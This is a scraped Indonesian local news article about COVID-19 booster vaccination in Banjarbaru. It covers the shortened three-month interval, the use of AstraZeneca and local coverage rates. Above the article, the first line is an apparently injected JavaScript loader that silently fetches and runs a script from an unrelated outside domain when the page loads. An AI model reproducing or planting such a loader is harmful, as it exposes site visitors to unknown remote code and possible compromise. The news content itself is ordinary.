(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Vaksin Booster di Banjarbaru Gunakan AstraZeneca


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah resmi mempersingkat jarak pemberian suntikan vaksin primer dengan vaksin booster bagi masyarakat umum dan lansia menjadi tiga bulan.

Sebelumnya, vaksin booster hanya bisa diberikan setelah enam bulan dari penyuntikan vaksin dosis kedua.
Aturan baru ini tertuang dalam Surat Edaran (SE) Kementerian Kesehatan (Kemenkes) Nomor SR.02.06/II/1180/2022 yang ditandatangani oleh Direktur Jenderal Pencegahan dan Pengendalian Penyakit Kemenkes, Maxi Rein Rondonuwu pada 25 Februari 2022 lalu.

Dalam poin kedua tertuang interval pemberian dosis lanjutan (booster) bagi lansia (umur di atas 60 tahun) dan masyarakat umum perlu disesuaikan menjadi minimal tiga bulan setelah mendapat vaksinasi primer lengkap.
Lantas bagaimana vaksinasi booster di Kota Banjarbaru.

Koordinator Tim Surveilens Epidemiologi penanggulangan wabah corona virus disease pada Dinas Kesehatan Kota Banjarbaru, Edi Sampana mengatakan, di Banjarbaru sendiri sudah dimulai vaksinasi lanjutan atau booster minimal 3 bulan.

 

Baca juga : Mengingat Kembali Serangan Umum 1 Maret 1949

“Sudah memulai yang jarak minimalnya 3 bulan,” ujarnya kepada Kanalkalimantan.com, Selasa (1/3/2022).
Di Kota Banjarbaru sendiri dikatakan Edi Sampana, terhitung dimulai Minggu (27/2/2022) kemarin menyusul SE Kemenkes Nomor: SR.02.06/II/1180/2022 yang dikeluarkan tanggal 25 Februari 2022 tersebut.

“Mulai kami laksanakan vaksinasi booster dengan jarak minimal 3 bulan dari Minggu 27 Februari kemarin,” ujarnya.

Diberlakukannya vaksinasi booster minimal 3 bulan menurut Edi Sampana, menyusul terus bertambahnya kasus Covid-19 dan juga untuk perlindungan masyarakat terhadap Covid 19 agar terus ditingkatkan
Jenis vaksin yang dipergunakan untuk vaksinasi booster menggunakan vaksin AstraZeneca.

“Vaksin yang dipakai untuk booster AstraZeneca,” sebutnya.

Dinkes Banjarbaru memastikan orang yang vaksin dosis 1 dan 2 disuntik jenis vaksin Sinovac dan Pfizer untuk booster boleh memakai vaksin AstraZeneca.

 

Baca juga : Pemkab Tanbu Peringati HUT ke-103 Damkar dan Penyelamatan, Ini Sejarah Berdirinya Damkar di Indonesia

Sekadar diketahui saja, untuk capaian vaksinasi booster di Banjarbaru sendiri baru mencapai 10,58 persen, untuk vaksinasi dosis 1 terhadap di atas usia 12 tahun sudah mencapai 85,95 persen.

Vaksinasi lansia sudah mencapai 76,71 persen dan anak usia 6-12 tahun sudah diangka 75,19 persen untuk dosis 1. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

4 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

4 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

5 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

9 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

9 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

10 jam ago

This website uses cookies.